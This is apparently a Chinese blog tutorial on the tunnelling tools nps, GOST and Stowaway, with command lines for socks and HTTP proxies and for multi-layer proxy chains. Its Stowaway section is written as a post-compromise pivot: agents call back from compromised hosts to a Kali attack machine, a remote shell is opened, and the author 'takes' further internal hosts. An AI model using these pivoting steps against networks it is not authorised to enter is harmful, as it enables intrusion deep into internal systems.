本片文章主要记录常见隧道代理工具的使用.
nps
项目地址:https://github.com/ehang-io/nps
使用手册:https://ehang-io.github.io/nps/
服务端
选择对应操作系统版本的Server进行下载,下载后先注册服务:
nps install
nps.exe install
服务端启动依赖配置文件,Web管理页面入口, Web管理页面登录账号以及密码 都是可以通过配置文件进行修改的.
强烈建议大家在运行之前修改部分默认配置,如 后台端口, 后台登录账号以及密码等.
安装后 Linux 下的 nps 的配置在 /etc/nps/conf/nps.conf.
部分配置选项如图所示:

启动服务端点
nps start
暂停服务端点
nps stop
客户端
访问Web管理页面,登录账号
先创建一个客户端

Basic认证用户名和Basic认证密码用于 socks5, http,web连接认证
验证密钥用于nps 与 npc 之间的连接认证
创建隧道
以创建HTTP隧道为例:
使用HTTP隧道来访问内网的Web服务,操作如下:
- 新建HTTP隧道, 客户端ID 为之前创建客户端是生成的ID.

服务端端口是指服务端流量交互的端口.
- 代理配置
配好以后,我们需要对流量代理工具进行配置.由于这里我们设置的HTTP隧道,因此这里我就直接通过配置浏览器代理插件.此处我推荐使用火狐浏览器, 对应插件为 FoxyProxy. Chrome的话可以使用 switchyomega.
代理类型选择 HTTP
端口对应为上一步创建的 服务端端口
用户名和密码为创建客户端时输入的 Basic认证用户名 和 Basic认证用密钥.如果在创建客户端时没有填写相关内容,则认证用户名和密码可以为空.

随后下载npc到本地, 输入命令./npc -server=xxxx -vkey=xxx -type=tcp:
此命令可以直接点击客户端ID前面的 + 号获取.

随后直接输入访问的内网地址即可.
对于终端用户,可以通过以下命令配置HTTP代理:
export http_proxy=http://USERNAME:PASSWORD@SERVICE:PORT/
如果没有密码的话, 直接
export http_proxy=http://SERVICE:PORT/
其他代理使用类似,这里就不再赘述.
其他:
多层代理搭建
方法一:A/B/C都使用客户端连接服务器,不管在第几层,只要有网络且确保客户端机器能够出网,都可以 VPS->A,VPS->B,VPS->C。
方法二:只在A使用客户端连接服务器VPS->A,然后在A设置端口转发B,A->B
总结
整体而言, nps 图形化界面极大简化了入手门槛.在只有一层内网的时候,使用起来特别方便.
GOST
项目地址:https://github.com/ginuerzh/gost
简单使用:
开启 sock5服务,
./gost -L socks5://:1088
开启带认证的 socks5 服务:
./gost -L socks5://USERNAME:PASSWORD@:PORT
配置上层代理:
./gost -L socks5://:1080 -F socks5://admin:admin@192.168.0.2:1080
多层代理搭建

场景:目前我们所在位置为 192.168.0.4, 我们需要通过走 192.168.0.3 再到 192.168.0.2 才能出网.
- 在
192.168.0.2上执行
./gost -L socks5://admin:admin@:1080
表示在本地 1080 开启了带有认证的socks5 服务, 账号和密码都为 admin.
- 在
192.168.0.3上执行
./gost -L socks5://:1080 -F socks5://admin:admin@192.168.0.2:1080
表示在本地1080开启未带认证的socks5 服务, 并将所有经过 socks5服务的流量发送至 上级代理 192.168.0.2的socks5服务.
- 在
192.168.0.4上执行
set ALL_PROXY=socks5://192.168.0.3:1080
表示本机所有的流量发送至 192.168.0.3:1080
总结
gost 更适用于将流量代理出去,适合搭建自己的代理节点.用于内网穿透的话效果不是很好.
Stowaway
项目地址:https://github.com/ph4ntonn/Stowaway
简单使用
一台公网服务器,运行admin主节点:
./linux_x64_admin -l 8856 -s 123456
该命令表示监听本地的 8856 端口,并指定加密密钥为123456
使用 agent 加入 admin
使用一台能出网的机器,运行子节点
./linux_x64_agent -c ADMIN_NODE_IP:8856 -s 123456
该命令表示加入 主节点 . -s 同样指定加密密码, 这里的密钥需要和 主节点的密钥相同, 否则无法建立连接

主节点下主要有以下命令:

detail: 显示节点的相关信息
topo: 节点与节点之间的拓扑
use: 操纵节点.

可以看到子节点存在以下相关命令:

常用命令:
shell: 获取节点的shell (这条命令很方便)
listen: 开启监听, 等待其他节点加入.(这条命令在多层网络拓扑中使用很方便)
socks: 在主节点的 port 端口开启一个代理, 指向本节点
connect: 主动连接其他节点.(其他节点使用 listen 开启了监听)
forward 和 backward 就是端口转发;
forward 表示将 主节点的某个端口映射到当前节点的某个端口
backward 表示将 当前节点的某个端口映射到主节点的某个端口
举例:
开启监听
listen

此时我们用另一台机器去连接
./linux_x64_agent -c NODE_IP:8857 -s 123456
这里 -s 指定的密钥需要和 node 0 连接 admin节点的密钥相同.

返回之后我们使用 topo 命令查看下 节点拓扑.可以发现 node0 存在一个子节点 node1


将node1 节点的 8153端口服务映射到 admin 节点的 7779

node1 节点的机器执行

可以看到成功建立连接

同样也可以使用cs使用反弹node1本地的某个端口,再用 backward 端口转发, 实现内网上线的一个操作. 这里就不再演示.
socks 8879 admin admin123
在admin节点的8879 开启一个socks代理, 使通过 8879的所有流量都代理到 node1 内
在随便一台机器上连接socks代理
export ALL_PROXY=socks://admin:admin123@ADMIN_NODE_IP:8879
然后使用 使用 curl localhost:8889 即可访问到网页.
多层代理搭建
多层代理搭建主要使用 node的监听与连接实现.

简单画了一个网络拓扑.其中 kali是一台拥有公网IP的攻击机, A是一台拥有公网IP的web服务器,并且其自身存在内网IP 192.168.0.2/24.
C 是一台位于 192.168.1.0/24网段的机器, 而B既位于 192.168.0.1/24 又位于 192.168.1.1.
代理搭建:
- 在
107.xxx的公网KALI上启动stowawayadmin主节点:
./linux_x64_admin -l 8856 -s 123456
-
在拿下A机器后,先使用client 连接主节点, 再开启sock5将公网流量带入
192.168.0.1/24网段, 拿下主机B.使用client 连接主节点
./linux_x64_agent -c 107.xxx.xxx.xxx:8856 -s 123456开启sock
(admin) >>use 0 (node 0) >>socks 8879 admin admin123再KALI上配置
sock5代理export ALL_PROXY=socks5://admin:admin@:8879 -
拿下B后, 现在使B和C连接的办法又两个. 1) A开启监听, B主动连接; 2) B开启监听, A主动连接.
这里我以1) 为例:
(node 0) >>listen 输入端口号: 8887此时将client上传至 B,执行以下命令连接 A
./linux_x64_agent -c 192.168.0.2:8887 -s 123456开启代理:
(admin) >> use 1 (node 1) >> socks 8880 adminb adminb -
使用KALI连接代理,拿下
192.168.1.3exprot ALL_PROXY=socks5://adminb:adminb@:8880
总结
stowaway拥有和nps相同的内网穿透能力, 不过很显然, 在多层内网的条件下, stowaway的表现能力更胜一筹,其通过很简单的操作就能够实现层于层之间的通信,.
frp用于多层内网的搭建我就不写了,既麻烦又打老阔.